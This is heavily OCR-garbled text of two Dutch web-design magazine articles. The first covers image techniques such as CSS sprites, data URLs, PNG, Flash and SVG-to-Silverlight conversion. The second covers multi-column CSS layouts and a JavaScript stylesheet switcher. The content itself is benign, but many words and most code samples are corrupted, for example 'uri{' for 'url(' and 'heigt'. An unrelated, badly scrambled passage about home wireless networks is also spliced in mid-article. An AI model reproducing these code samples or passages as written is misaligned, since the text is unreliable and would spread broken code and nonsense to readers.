en voeg er een src-attribuut aan toe met het 
pad naar een JPEG-foto of GIF-plaatje Om de 
pagina in de browser snellerte laten opbou- 
wen kun je er eventueel nog width- en height- 
attributen aan toevoegen* En met een alter¬ 
native tekst {alt) loods je de pagina zo door 
de validator heen - en klaar is Kees. 

Meestal kun je volstaan met dit ook a I in 
HIM 12 bekende kunststukje.Toch zijn er ge- 
noeg situaties waarin je beter voor lets an- 
ders kunt opteren - zoals voor CSS. 

In de stylesheets zijn foto's in de eerste 
pjaats bedoeld als behang: 

tfafbeeldingIbackground-image: uri( behang.jpg)} 

<p id="foto n > tekst met achtergron da fbe e Ldfcng</p> 


De browser vult het tekstkader met tegels 
van de achtergrondafbeeldmg en snijdt de 
afbeelding zonder pardon blj - zoals cbody 
background^' ..." > dat in een grijs verleden 
ook al deed. Maar het kan ook anders: 

# afbeelding {background: url( behang.jpg) no-repeat;/ 
width :200px; height:3G0px) 

De waarde no-repeat zorgt ervoor dat de foto 
niet wordt herhaald. Strikt gezien is dat hier 
dubbelop, aangezien een met width en height 
exact op de afbeelding afgestemde contai¬ 
ner hetzelfde doet 

Combifoto's 

CSS-achtergronden zijn een prima <img>- 
vervanging als de afbeelding geen wezenlijk 
onderdeel van de pagina is, maar meer een 


leuke bijzaak, die ookachteraf ingevoegd kan 
worden of wanneer hij op verschillende plek- 
ken op de webpagina terugkomt. De foto's 
kunnen bovendien horizontaal of verticaal 
worden herhaald of als pagina-achtergrond 
bij wijze van watermerk worden gefixeerd, 
terwijl de gebruiker door de pagina scrollb 
Veel webdesigners zten het ook als een voor- 
deel dat de bezoeker achtergrondafbeeld in¬ 
gen niet simpelweg via retbtsklikken in de 
browser kan opslaan. 

Met CSS is het ook mogelijk om slechts 
een dee! van de geintegreerde afbeelding 
weer te geven, Zo kun je een groot aantal 
kleine pictogrammen tot een grote afbeel¬ 
ding combineren, waar de stylesheet dan 
het juiste fragment uit plukt. 

<div style=" width: 30px; height: 30px; background:/ 

url('icons.png j 0 -60px; "></div> 

Het bestand ieons.png bevat mini-plaatjes 
van 30 x 30 pixels, die op de pagina nodig 
zijn, in een rij onder elkaar, Het tweede deel 
van de background-eigenschap (background-posi¬ 
tion) schuift de beelduitsnede 60 pixels naar 
beneden, zodat het derde pictogram van 
boven in de uitsnede terecht komt. Deze zo- 
genaamde CSS-sprites zijn zeker geen nerdy 
speeltje; grote websites als Yahoo gebruiken 
ze om het aantal http-re quests te reduceren. 
Het moeten teveren van een groot aantal 
kleine bestanden befast de server oneven- 
redig zwaarder dan het versturen van een 
groot bestand. 
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Stijfvast 

Ook kleine markerlngstekens en grafische 
symbolen horen niet tussen <img>-tags P 
maar in de stylesheet thuis. Zo zet de vol- 
gende CSS-instructie voorefke link een pijl: 

a:before {content: url(pijLgif)} 

Met de pseudoklassen :before en after is nog 
een heleboel meer mogetijk, zoals hoveref- 
feeten als je met de mu is over een pagina- 
onderdeel gaat of typografische aanhalings- 
tekens. Daar staat helaas een ernstig nadeel 
tegenover: gebrulkers van Internet Explorer 
tot en met versie 7 vallen buiten de boot 
Als je het merendeel van je bezoekers dit 
visuele extraatje met wilt onthouden, kun je 
het proberen met workarounds met DHTML, 
CSS-background, JavaScript of Microsofts 
DHTML-behavior; de wellicht gemakkefijkste 
workaround gebmikt CSS-achtergronden, 
die via padding worden verschoven: 

background: tirl(afbeetdlng.png) no-repeat;/ 

padding-left: 20px; 

Als het plaatje, dat ingevoegd moet worden, 
20 pixels breed is, staat het precies voor de 
HTML-efementen, waarop deze CSS-instruc- 
tle wordt toegepast, Maar missthien is ook 
een opsommingsteken voldoende - daar 
kunnen namelijk zelfs oude IE's mee uit de 
voeten: 

til {List-style-image: url(belangrijk.gif)} 

Deze handtge oplossing vervangt in elk iijst- 
element het gebruikelijke rondje door een 
plaatje. 

Tag voor tag 

Ook uit de image-tag zelf zijn weinig ge¬ 
bruikte mogelijkheden te halen. Zo is nog 
lang niet bij iedereen bekend dat een image- 
bestand niet per se als apart bestand buEten 
de webpagina waarin hij is opgenomen 
hoeftte worden opgeslagen 

<img src="data: image/gif;base64, ROLGODlh9AF9A1_ n / 

oud='logo"/> 

Het hele afbeeldingsbestand staat na een 
kleine header met de dedaratie van het 
MiME-type en de codering direct in de <img>- 
tag - of in de stylesheet, want backgrotmd- 
Image:urt[data: image/glf; base64, ROLGODLh9AF9AL 
r ..) werkt net zo, Dit wordt mogelijk door 
de veelal voor mailattachments gebruikte 
Base64-eodering, die binaire bestanden In 
ASCII omzet, om preciezer te zijn En hoofd- 
en kleine letters, cijfers, plustekens en schul- 
ne strepen. Een online encoder vind je onder 
de links En de softlink. 

Als webdesigner bespaar je je met deze 
data-URL's net als bij CSS-sprites veel http- 
requests voor een heleboel kleine bestan¬ 
den; maar het belangrijkste is nog wel dat 
je hiermee een complete webpagina in een 


bestand kunt opslaan. Dat de code van de 
afbeeldingen door Base64 een derde groter 
wordt, is bij kleine afbeeldingen verder niet 
van belang en wordt bovendien gecompen- 
seerd, doordat de server de bestanden voor 
het transport comprimeert. IE8, Safari en 
Chrome beperken de grootte van de data- 
URL's sowieso tot enkele kB's. De afbeeldin¬ 
gen kunnen via CSS of met een omweg via 
JavaScript vaker worden gebruikt: 

for (...) { 

Emg_tag.setAttribute{ r srt', ’data: image/gif;/ 


Helaas kan internet Explorer pas vanaf versie 
8 iets met de ingebedde afbeeldingen begin- 
nem Totdat deze browser zijn voorgangers 
heeft verdrongen, zijn data-URL's dus alleen 
geschikt voor lokale netwerken. In principe 
kun je deze problemen oplossen met 'brow¬ 
ser sniffing' en Base64-convertors, maar En de 
praktijk zijn dit geen geschikte oplossingen. 

Naast de tradltionele afbeeldingsformaten 
JPEG en GIF bestaat er met PNG sinds gerui- 
me tijd nog een derde formaat. Erg populair 
Is dit formaat echter nog niet omdat men- 
sen denken dat PNG veel meer ruimte nodig 
heeft dan JPEG en dat Internet Explorer er 
problemen mee heeft, wat echter maar ten 
dele klopt 

PNG-pong 

Voor webafbeeldingen heb je aan PNG in- 
derdaad weinig, omdat het formaat behou- 
dender met het uitgangsmateriaal omgaat 
(PNG's zijn in de regel zonder verlies gecom- 
primeerd), waardoor de bestanden een stuk 
groter uitvallen dan JPEG's, Daar staat tegen¬ 
over dat er geen artefacten zijn bij scherpe 
randen, bijvoorbeeld in screenshots. 

Overlgens representeren zulke afbeel¬ 
dingen met 24 bit per kleurkanaal maar een 
deel van de mogelijkheden van PNG. Ook 
slanke grijswaardenafbeeldingen zijn moge- 
lijk of - dankzij het zogenaamde alfakanaal 
- semitransparante kleurverlopen, die zachte 
schaduwen op de webpagina werpen of de 
achtergrond laten doorschemeren. 

Minder bekend is dat PNG net als GIF ook 
met een kleurenpalet van maximaal 256 



Ook met een compact 8-bit palet kunnen 
PNG's de achtergrond semitransparant 
laten doorschemeren. 


kleuren kan werken. Deze 8-bit PNG's (res- 
pectievelijk \- t 2- of 4-bit PNG's, afhankelijk 
van de paletgrootte} zijn door een beter 
compressie-algoritme meestal kleiner dan 
GIF's - zonder dat hierbij het alfakanaal ver- 
loren gaat, het maakt het PNG-palet namelijk 
niet uit of hierin een dekkende of een semi¬ 
transparante kleur staat 

Internet Explorer had Inderdaad lange 
tijd problemen met PNG; maar sinds versie 
7 zijn die grotendeels verleden tijd. Maar ook 
in het geval van oudere IE's is er weinig op 
tegen om PNG's te gebruiken. De sinds IE4 
ingebouwde rudimentaire PNG-ondersteu- 
ntng werd in opeenvofgende versies verbe- 
terd, de ook nu nog gebruikte versies 55 en 
6 van de browser geven PNG-afbeeldingen 
met uitzondering van de doorzichtig geren- 
derde alfatransparanties betrouwbaar weer. 

De belangrijkste reden dat PNG's met 
kleurenpalet zo weinig worden gebruikt 
komt juist omdat het merendeel van de 
grafische programma's inciusief Photoshop 
slechts over rudimentaire PNG-mogelijk- 
heden beschikken. Fireworks of de plug-in 
PNGOUT van Irfan View doen het wat dat be- 
treft beter. 

Getekend 

Bij het onderwerp Flash denken veel mensen 
het eerst aan bewegende reclamebanners, 
intro's en online video's - terwijl het com- 
pacte vectorformaat SWF ook zeer geschikt 
is voor statische tekeningen en diagrammen. 
De prijs die voor het lossless schalen betaald 
moet worden Is de afhankdijkheid van een 
proprietaire plug-in. Maar die is zeer wijdver- 
breid, alleen niet bij veel mobiele apparaten, 
Vreemd genoeg bestaat er tot op de dag 
van vandaag geen honderd procent bevre- 
digende oplossing voor de integrate van 
SWFbestanden in webpaginas. De door 
Macromedia/Adobe meegeleverde HTML- 
voorbeelden druisen In tegen de webstan- 
daarden, omdat ze gebruikmaken van het 
element <embed>, dat in geen enkele HTML- 
versie geEegitfmeerd is. Vooral grote sites ge¬ 
bruiken vaak ook JavaScript op grote schaal, 
om de Flash Player aan te sturen. 

Beide zaken zijn overbodig. Een <object>- 
tag met MIME-type, databron en afmetingen, 
wat ook met de HTML-attributen width en 
height kan, is voldoende om het Flash-plaatje 
in alle enigszins actuete browsers weer te 
geven. In alle browsers? Nee, een browser 
blEjft koppig weerstand bieden. Internet Ex¬ 
plorer heeft namelijk de databron nodig in 
een <param>-element, zodat de code een 
klein beetje redundant wordt: 

<o bject ty pe= M a pp Lkatio n/x-shockwave-fta s h Fl / 
data= "graph!c.swf style^'width: 50px; heigt: 30px "> 
<param narne^ 1 'movie" vatue= graph ioswf7> 

Geen <em>Rash-player</em> aanwezigj 
</objed> 

Vectorgraphics met en zonder animatie wer¬ 
ken op die manier, zonder dat hierbij web- 
standaarden met voeten worden getreden. 
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Alleen voor gestreamde Flash-video’s zijn 
wat trucjes nodfg, want IE geeft met de bo- 
venstaande code de inhoud pas weer als hij 
volledig is geladen* 

Het voorbeeld laat ook de mogelijkheid 
van <objea> zien om uit te wijken naar een 
alternatief, als de desbetreffende plug-in ont- 
breekt. Anders dan bij het alt-attnbuut in af- 
beeldingen zijn hierblj ook tags mogelijk. Het 
is dus welllcht geen slecht idee om heel nor- 
male afbeeldingen als <object> toe te voegen. 

Overigens laten alleen de Mozi I la-browsers 
de alternatieve tekst zien als er problemen 
zijn met het MIME-type of met de gefinkte 
URL - Opera negeert het Ml ME-type. Safari 
3 en Chrome antwoorden met een foutsym- 
bool als het geYntegreerde object niet be- 
reikbaar Is (wat ze overigens ook bij niet ge- 
vonden afbeeldingen doen, in plaats van de 
alt-tekst te gebruiken* Internet Explorer pakt 
het wel heel erg creatief aan; bij niet bereik- 
bare objecten wordt doodleuk de 404-pagina 
getoond en voor het MIME-type image/png 
maakt hij gebrulk van een plug-in, hoewel hij 
de inhoud zelf ook kan weergeven. 


clDOCTYPE htmL PUBLIC '-//W3C//DTD XHTML 1.1/ 
plus MathML 2.0 plus SVG 1.1//EN" ,, http://www*/ 
w3.org/2002/04/xhtml-matfi-svg/xhtmlmath-svg.dtd ,r > 

..* en een namespace voor SVG*.. 

chtml xmLns= "http://www.w3.org/! 999/xhtmr/ 

xmLns:5vg=''http://www.w3.org/2000/svg ir > 

**,en het afleveren van de pagina als XML 
en niet (zoals gebruikelljk) als text/html. 
Hiervoor zet je op de Webserver of in een 
serverscript het MIME-type bij voorbeeld op 
applieation/xhtml+xml; bij lokale bestanden 
is de extensie xhtml voldoende. Nu kunnen 
XHTML-tags en SVG-afbeeldingen (voorafge- 
gaan door de namespace) vrolljk door elkaar 
worden gebruikt: 

<p>Een kieine cirkel:</p> 

<svg:svg wldth= ,r 50" heights "S0'> 

<svg:cirde a="2S" c/="2S" r="’257> 

</svg:svg> 

Transformator 


XML in kleur 

Aan Microsoft Silverlight krijgt Flash een seri- 
euze concurrent* Maar ook het open formaat 
SVG doet stilletjes zijn intrede op het web. 
Alle actuele desktopbrowsers met uitzon- 
dering van 66n (precies, Internet Explorer) 
en veel mobiele apparaten ondersteunen 
het SVG-formaat tot op zekere hoogte - en 
dat zonder pJug-in.Tekeningen en animaties 
in het SVG-formaat kun je het beste net als 
voorheen met <object> opnemen 


In tegenstelling tot Flash gaan SVG en Silver- 
light als ongecomprimeerd XML over de lijn. 
Als je de browser zover zou kunnen krijgen 
om het ene XML-formaat naar het andere 
om te zetten, dan zouden webdesigners 
vectorgraphics zonder Flash kunnen gebrui¬ 
ken - vooropgesteld dat Silverlight zich in 
elk geval onder de gebruikers van Internet 
Explorer snel genoeg verbreidt. 

De programmeertaaf XSLT werd speciaal 
ontworpen om een brug te slaan tussen de 
verschillende XML-formaten. Alle actuele 
browsers zijn voorzien van een XSLT-proces- 


< object data="‘g raphS c.svg" type-’jmage/svg+xmr/ 

width= n 50" helght= ,r 5(T> 

AUernatSeve inhoud ... 

</object> 

Bij de actuele browsers is het ook mogelijk 
SVG direct In XHTML in te bedden. Daarvoor 
heeft het wel de juiste documenttype-decla- 
ratie nodig ... 



# + [v******* i [ a * a 


sor - vandaar dat webontwikkelaar Tolne 
de Greef zich tot doel heeft gesteld om een 
SVG-Silverlight-convertor te schrijven [zie 
soft! ink). 

Een JavaScript, dat alleen de IE te zien 
krijgt leest de ingebedde SVG-code 
en het XSLT-bestand als XML in. Hier- 
door heeft de browser alleen de door new 
ActlveXObjectC "Microsoft.XMLDOM M ) opgeroepen 
XML-processor nodig. De feitelijke transfor¬ 
ma tie wordt voltrokken door de instructie 
transformNodeO; 




var svg^root - svg_code.XML Document./ 


\ 100% - 


documentELement; 

var svg - new ActiveXObject( "Microsoft.XMLDOM 11 ); 
svg.LoadXML (svg_rooLxml); // leest string als XML in 
var xsl = new Act!veXObjectf"MicrosoflXMLDOM 1 
xsl.load( r, svg2xaml.xsl r ); // leest bestand in 
var silverlight = svg.transformNode(xsl); 


Verschillende mameren om hetzelfde bestand 
weer te geven: bij het laden zet Internet 
Explorer het SVG-plaatje om in Silverlight 


De XML-processor verwerkt het krap 60 kB 
grote XSLT opmerkelijk snel. Daarna hoef je 
alleen nog maar de Silverlight-code zo te in- 
tegreren, dat de plug-in er wat mee kan. Dat 
lukt helaas alleen, als je bij het toevoegen 
van SVG-afbeeldingen de boven genoemde 
regels over boord gooit De SVG-code moet 
door de proprietaire tag <xml> als ’data- 
eilandje’ uit de HTML-brij worden gehaald; 
namespaces in de tags zijn niettoegestaan: 

<xml style="display: block; width:50px; heightiSQpx^ 
<svg width= ,, 50 M height="50"> 
ccirtle cx= M 25‘' cy= ,f 25" r=”257x/svg> 

Erger nog: Internet Explorer rendert alleen 
webpagina's, die als text/html worden ver- 
stuurd - waarbij de andere browsers de 5VG- 
code weer negeren. Inline-SVG is dus alleen 
mogelijk, als een browser-sniffer op de server 
het MIME-type op de juiste manier instelt; in- 
structies vind je In de softlink. 

Externe SVG-bestanden ztjn in de praktijk 
beter geschikt. Je moet er dan alleen reke- 
ning mee houden dat je in het <object> geen 
alternatieve inhoud mag opgeven (omdat IE 
die dan meteen in plaats van het object in- 
voegt) en bij de SVG-broncode kun je geen 
gebrulk maken van DTD (omdat Microsofts 
XML-parser het dan voorgezien houdt), maar 
verder werkt de boven beschreven methode 
prima. Een load()-aanroep evalueert de data- 
eigenschap van het HTML-<object> en leest 
de SVG-code in: 

var svg - new ActiveXObject[ 1 Microsoft.XMLDOM ); 
svg. Load (obj ect _tag .data); 

Web icemen 

Open vectorformaten in het web rukken 
langzaam op* On-the-fly-eonversies laten de 
computer bij zeer grote of bij zeer veei afbeel¬ 
dingen flinkzweten en zijn ook meer geschikt 
voor statlsche afbeeldingen dan voor com pi exe 
webapplicaties. Ze slaan wel een hoognodige 
brug tussen de individuele oplossingen. Af- 
gezien van SVG en Silverlight zijn immers ook 
nog Canvas (Safari, Firefox, Opera, Chrome) en 
VML (Internet Explorer) op de markt. 

De Greef heeft overigens ook een XSLT 
voor de omgekeerde richting paraat De con- 
versie van het Microsoft-formaat naar SVG 
maakt deze ook toegankelijk voor platforms, 
die nog niet door Silverlight verlicht worden 
(met name Opera en Safari voor Windows). 
En het tekenen van SVG-afbeeldingen met 
de prog ram ma’s uit Microsofts Expression- 
serie heeft zeker zijn eigen charme. 

Het benutten van de mogefijkheden van 
de actuele browsers te benutten heeft niets 
te maken met experimenteren of in het wilde 
weg hacken. Standaardopiossingen zijn er 
voor standaardeisen - maar langs de minder 
platgetreden paden in HTML, CSS etc. zou je 
in bepaalde gevallen wel eens eerder bij je 
doel kunnen komen. (nkr) 

( Softlink 09WDOS6 c’t 
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Webdesign| CSS-1 ay-outs 



Herbert Braun, Jens Piske 

Kolommen met stijl 

Meerkoloms websites maken met CSS 

Het is voor een webdesigner eigen tijk 'not done' om lay-outs met een HTML-tabe! te 
maken, maar vreemd genoeg is de CSS-specificatie rood navigatrestructuur aan de 
zijkant uitermate kribbig. JVIet enkeie trues of door het gebruik van frameworks kun je 
frustraties voorkomen en hoef je met terug te keren naar oeroude technieken. 


E en menu aan de tinker- of rethterkant 
van de bodytekst behoort bij het cre- 
eren van een lay-out voor een website 
tegenwoordig tot de gewoonste zaak van 
de wereld, Zowel op kleine hobbysites a is 
professionele portals zie je deze ztjbalken 
opduiken. Om dit met een stylesheet te ver- 
wezenlijken worden de verschilJende ele- 
menten (btjvoorbeeld navigatiegedeeite en 
bodytekst) in <div>-containers gezet, die zich 
op dezetfde laag naast elkaar bevinden: 


<body> 

<div id="menu'> 

Hier staan een aantal navigatieLinks, 

</div> 

<dtv id— 

Hier staat de bodytekst. 

</div> 

</body> 

Zonder verdere vormgeving worden deze 
tekstblokken simpelweg onder elkaar ge- 


plaatst Om de navigatie in een kolom te 
zetten, moet je de CSS-defmltie Imenu {float: 
Left} toevoegen. Dit zorgt ervoor dat de 
hoofdtekst rechts om de menu-container 
been loopt. 

De tekst ioopt dan echter verder onder 
het kader waarin het menu staat. Dat is te 
voorkomen door voor de hoofdtekst een 
marge aan de iinkerkant te definieren, waar- 
van de breedte is afgestemd op de breedte 
van het menukader: 
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#menu {float: left; width: 25%) 

#main [margin-left: 30%} 

Daarmee wordt het kader met de navigatie- 
linksal een echt menu* 

Deze oplossing werkt ook met een extra 
kolom aan de rechterkant Hiervoor meet je 
een derde <div>-container definieren, die je 
met float: right op de juiste plek zet. 

Het verschil met een HTML-tabel merk je 
overigens als je de achtergrond van een hele 
kolom een eigen kleur wilt geven: alleen het 
kader om de verwijzlngen been wordt bont. 

Bij een poging om de hoogte van het 
kader aan te passen aan de hoogte van de 
pagina loop je tegen de beperkingen van 
CSS aan, De toevoegmg height: 100% veroor- 
zaakt alleen in de downwards-compatible 
Quirks-modus een reactie: de hoogte van 
het kader wordt dan precies aangepast aan 
die van het zichtbare venster. Om dit effect 
te gebruiken in de modus die conform web- 
standaard is (aangegeven door een doctype- 
declaratie aan het begin van het document), 
moet je het HTML- en Body-element waar 
het kader menu de afmetingen van erft, ook 
de hoogte 100% toekennen. Deze hoogte 
bedraagt namelijk standaard nuL wat vol- 
gens de CSS-specificatie weliswaar logisch is, 
maar met volgens de logica. 

Dat lost het probleem echter niet op* Als 
de pagina namelijk niet in een browserverv 
ster past waardoor je moet scrollen om alles 
te kunnen zien, dan houdt de achtergrond- 
kleur van het kader nog steeds te vroeg op. 

Op de achtergrond 

Het is handtger om niet het kader van het 
menu te vergroten, maar het kader van de 
hoofdtekst in te kleuren en voor de kolom- 
men aan de zijkant de kleur van <body> door 
te laten schijnen: 

body {background: rgb[80%,8Q%,70%);) 

#main {background: rgb(95%,95%,80%);} 

Dat werkt prima als de menukolommen kor- 
ter zijn dan de hoofdtekst. Als ze langer zljn 
krijgt het deel onder de hoofdtekst de kleur 
van de achtergrond van het menukader. 

Dit is op te iossen door gebruik te maken 
van achtergrondafbeeldingen* In het een- 
voudigste geval maak je een afbeeiding van 
1 bij 1 pixel in de kleur en de breedte van 
het menukader, Deze afbeeiding ken je toe 
aan het <body>-element. Hier een voorbeeld 
van een navigatiestructuur aan de rechter- 
kant: 

body {width: 800px; 

background: rgb(80%, 80%, 70%) 

uri{'bg.gif) 60Gpx 0 repeat-y;} 
flnavt {float: right; width: ZOOpx; margin: 0;) 

Hierbij definieer je eerst een kleur voor de 
gehele body. Vanaf 600 pixels van links komt 
de afbeeiding op de achtergrond te staan* Dit 
wordt verticaal herhaald over de gehele pagi¬ 
na (repeat-y). Horizontaa! kom je bij 800 pixels 


aan de grens van de body. Als je het niet 
mooi vindt dat de achtergrondafbeeiding 
boven het eind van de content uitsteekt, kun 
je die in een extra container stoppen; 

<div id= ,l top_layeC l > 

<div id= 1l menu ,f >,..</div> 

<div M='Wirf >,„</dtV> 

</div> 

body {background: rgb(80% J 80% r 70%);} 
fftopjayer {width: SOOpx; background: url{ r bg.gif) 

600px 0 repeat-y;} 

Hierdoor werkt het voorbeeld ook in de 
Quirks-modus van Internet Explorer, In Safari 
3 lukt het helaas helemaal niet, of we er nou 
wel of geen extra container omheen zetten. 
Safari neemt namelijk de achtergrondkleur 
van de body en gebruikt die ook voor de me- 
nustructuur, zodat de achtergrondkleur be- 
dekt is. Deze elegante oplossing lijkt sowieso 
een schijnoplossing: je imiteert de structuur 
van een kader alleen uiterlijk via de daarvan 
onafhankelijke achtergrond. Daarmee gaat 
deflexibiliteit verloren. Een relatieve breedte 
kun je efgenlijk alleen gebruiken als je je in 
allerlei bochten wringt. 

Het vergroten van de kaders tot de totale 
paginahoogte kan ook op een andere ma- 
nier dan met deze trucjes. Om dat te doen 
maak je misbruik van de mogelijkheden van 
het zogeheten box-mod el: 

fltopjayer {overflow: hidden;} 

#menu, #main {padding-bottom: SSSSpx; 
margin-bottom: -5555px;} 

Dit volt de tekstcontainer aan de onderzijde 
met een reusachtige padding, waarvan de 
negatieve rand weer wordt afgesneden als 
die over de onderkant van alle kaders komt. 
De standaardconforme browsers knippen de 
onderste rand pas af door het commando 
overflow: hidden. 


Met dergelijke hacks kom je echter in een grijs 
gebied tussen de spedficaties en de kuren 
van de browsers. Als je hieraan begint, moet 
je je webpagina's op alle mogelijke browsers 
testen en op de hoogte zijn van de bekende 
'eigenschappen 1 van de browsers. Internet Ex¬ 
plorer 6 'vergat' bij voorbeeld nog de padding 
te verwijderen als de website in een down- 
wards-compatible Quirks-modus gerenderd 
moest worden. Pas bij de standaardmodus 
werd het gewensfe resultaatzichtbaar. 

Schijvenspel 

Alle tot nu toe genoemde CSS-tech nreken 
scheiden de tekstkaders met behulp van 
float van het hoofddeel. Deze moeten in de 
XHTML-bron dan ook voor de delen staan die 
daar omheen moeten lopen, Dat is voor een 
kader aan de rechterkant niet echt intuTtief, 
omdat dat niet overeenkomt met de lees- 
richting.CSS maakt echter geen onderscheid 
tussen linker of rechter tekstomloop. 

Zo'n afhankelijkheid ondermijnt het 
uitgangspunt van CSS om het ontwerp te 
scheiden van de documentstructuur. Boven- 
dien wordt de broncode niet alleen gelezen 
door de gebruikelijke webbrowsers, maar 
ook door zoekmachines, screenreaders of 
door de webeditor van de bewerker. Door de 
tekstkaders absoluut te positioneren kun je 
mogelijke probiemen voorkomen: 

#menu {position: absolute; right 0; top: 0;} 

Op deze wijze maakt het niet uit waar het 
element met id= 1, menu" In de broncode staat; 
het wordt rechtsboven getoond. Dat is ech¬ 
ter niet zomaar de standaardplek, Het gaat 
erom dat het rechts boven het parent-ele¬ 
ment staat. De attribuutnaam absolute Is dan 
ook wat ongelukkig gekozen. Het votgende 
hogere element is de cdivxontainer die de 
hele pagina bevat, dus daar hoef je je in dit 



Thuis in het net 

Tips voor een draadloos multimedianeU verk 

Als je \na je bob ecu echt 'distal home wilt maken. raUkom je er niet 
aan aw versdaDendc apparateti met elkaar te vertrindoL W3 je voor het 
aanlegeen Mm de Labels geen eaten beren* don kun je Wireless LAN of 
powedme gebrdken Het b niet alleen vh m belong wdke 
nen^ierktediaiek je Idtst en hoe je die eonfigureeic maar ook je pe en 
de afspeekppuraten in de verschfflende febrikoflten moeten render 
problem™ met dkatV OVaxvrg kunnen 

Als je op je hobtokamer reecimatk een cd brandt en die TCfvalgem op 
je of cd’Speler hi dt toaikamer ofspeeJi, dm knjg je vroeg of lam 
ongetwijfeid de behoefte aan een nmiltimedLanetwerk. Zdfs de modeme 
remcarnaue een Besfbd netwnk - de draagbare Mdeospeler met 
hardc sdiiy - bereikl al snel de gremeo ™ de maxim ale capadteit 
Dan iou een cemrale sarer, waar alle audio- en videobestanden op 
stem, jeer wcnsehjk jqn* tMmrtnj met een druk op de knop in alle 
rtmntes mnriek kan ajn. Helaas is het rvd io dat de beste ^ etbmdbg 
met de ^oednieuwe streaming-client in de slaapkamer een 

ethemetkabel om de i$. Dus dan tnch maar gateri boren en tig 
meter CAX5-kabd aanleggen" \>el te omsladuhg! Dan maar een wat 
minder radicals tedmiek eebnnkea Het is dan goed om te weten dat de 



De twee tekstkaders links en rechts zijn door het inkleuren van de hoofdtekst geschei- 
den in aparte koiommen. 
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geval geen a I te grote zorgen om te maken, 

Al met al geeft de absolute positione- 
ring je veel meer vrijheid, Daarbij functio- 
neert de hierboven beschreven CSS-hack 
niet meer H omdat de padding-overloop niet 
meer wordt afgesneden. 

Automatisch wisselen 

Btj vaste op de pixel nauwkeurige fay-outs 
lain je nog tot net op de rand van een 
beeldscherm komen. Als je echter flexrbeie 
lay-outs wilt gaan ontwerpen, is dat blj CSS 
een regelrechte ramp. Ook kan een afzon- 
derlijke afbeelding al een lay-out met refa- 
tieve breedtes in de war gooien, Aangezien 
we tegenwoordig enerzijds schermen met 
enorme breedbeeldformaten hebben, maar 
daarnaast zoekmachines op ons mobieltje 
meeslepen, is het nog nooitzo belangrijk ge- 
weest dat de pagina zich automatisch aan de 
schermbreedte kan aanpassen. 

Webdesigners gaan meestal uit van de mi¬ 
nimale standaard op pc-monitoren. Vandaag 
de dag zijn dat oude 15 rl -monitoren met een 
breedte van 800 pixels. Trek je daar nog lets 
van af voor de vensterranden en de scrolbalk, 


dan blijven ongeveer 770 pixels over. Bijna alle 
grote websites met een vaste lay-out zijn niet 
breder dan 770 pixels of geven rechts daarvan 
a I lee n nog advertenties weer, De vormgevers 
gaan er hierbij vanuit dat op mobiele appara- 
ten a I Sets leesbaars wordt weergegeven ter- 
wijl de pagina op monitoren met meer dan 
2000 pixels een smal strookje wordt. 

Een bijzonder flexibde oplossing is de 
gebruiker meer lay-out-varianten beschik- 
baar te stellen, Je hebt er echter ook wat 
meer werk aan. In de jaren negenttg moest 
je hiervoor nog de hele website kopseren, 
maar tegenwoordig hoef je alleen maar de 
styiesheet te vervangen. Dit doe je met een 
klein JavaScript: 

<head> 

<$tyie type= 'text/css">(@import url{stijLen.css);</style> 
<5tyLe type™ ’teKt/css">@imporT tirl(positionless); 
</styie> 

</head> 

<body> 

< script ty pe=' text/j ava script "sre^ 1 m uiti d esig n .js ,r > 
</script> 


Terwijl stijlen.css de opmaak vastlegt die in 
het algemeen geldt, zorgt position3.css voor 
de standaard lay-out van 770 pixels breed. 
Het script moet meteen na de HTML-body 
komen te staan en kijkt vervolgens naar de 
breedte van het venster. Als de browser met 
JavaScript overweg kan, wordt de bijbeho- 
rende stylesheet genomen: 

if (window.innerWidth) { 
breedte = window.innerWidth; 

) else t 

breedte = documented y.dientWidth; 

) 

De innerWidth-eigenschap van het browserven- 
ster geeft bij standaardconforme browsers de 
werkelijke maxi male breedte aan die gebruikt 
kan worden voor het weergeven van de web¬ 
site, dus zander menu's, vensterranden en 
scrolbalk, Bij oudere versies van Internet Ex¬ 
plorer moet je nog een omweg maken, omdat 
die de eigenschap documenLbody.cLieniWidth ge¬ 
bruikt. De rest is dan eenvoudig: 

if (breedte<=608) ( 
stylesheet = 'position Less 1 


3 Ldy outvoorbeeld me! MvHtdesig.., □ [>^ 


Bestand Bewerten BeeW Fawonetw Ex w 5 

J<5anaar 


(Pr Multidesign 



menu 3 
menu 4 
menu 5 
menu 6 
menu 7 
menu 3 


Auteurs: Noud van Kruysbergen / Jens 
Piske, www.cr.nf 

Om Multidesign te tes ten kun je met een 
van de volgende links de venstergrootte 
veranderen, £ij Opera moet je dan eerst 
de venstergrootte herstellen (recfit«r 
muisklik op het venster-tabblad), afe je 
het venster gemaximaliseerd hebt. 



Standaard 
gaat de web¬ 
site uit van 
een venster- 
breedte van 
770 pixels, 
maar dit kan 
aangepast 
worden voor 
een smart¬ 
phone of een 
breedbeeld- 
monitor. 
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} else if (breed te <=760) 1 
stylesheet = position .css'; 

} eLse { 

stylesheet - 1 position4.css 1 ; 

} 

document.writeln('<style type= "text/css":*/ 

©import urU'-j- stylesheet + );</style> j; 

Het script is voor willekeurige vensterforma- 
ten te gebruiken, De designer kan met ab¬ 
solute getallen werken en de paginal des- 
ondanks gebruikersvriendelijk vormgeven 
zonderenige barrieres. 

Ruimtegebrek 

Bij grote vensters kun je wat royaler met de 
ruimte omspringen. Bij kleine monitoren 
hoef je niets meer aan het toeval over te 
laten en kun je de containers opnieuw inde- 
len. Op de voorbeeldpagina staan de hoofd- 
navigatie, inhoud en rechterkolom onder 
elkaar in plaats van naast elkaar als je de 
kleinste vensterbreedte kiest. 

Tekst die aan twee kanten is uitgelijnd, 
ziet er in prindpe pas vanaf een tekstbreedte 
van ongeveer 500 pixels goed uit. Het script 
geeft de ontwerper de mogelijkheid om het 
uitlijnen alleen links toe te passen als de 
ruimte te krap wordt 

Als de afbeeldingen breder kunnen wor- 
den dan de omvattende container, dan kun 
je ze met het CSS-bestand kleiner maken. 
Om dat te doen ken je er afzonderlijk een 
id aan toe. Groepsgewijs doe je dat met class 
of je geeft ze een typeselectie mee, bljvoor- 
beeld #comairemaam imq. Vervolgens zet je de 
breedte (width) op de gewenste waarde en de 
hoogte (height) op auto. 

Het wordt natuurlijk mooier als je een 
compleet andere afbeelding neemt. Dat 
zou je ook in JavaScript kunnen doen, maar 
dat soon instructies horen eigenlijk in een 
stylesheet te staan. Zo kun je verschillende 
varianten van een afbeelding met de C55- 
instructie visibility wel of niet laten weergeven. 
Je kunt de afbeeldingen ook meteen via een 
stylesheet inbedden: 

logo ( 

height: 159px; 
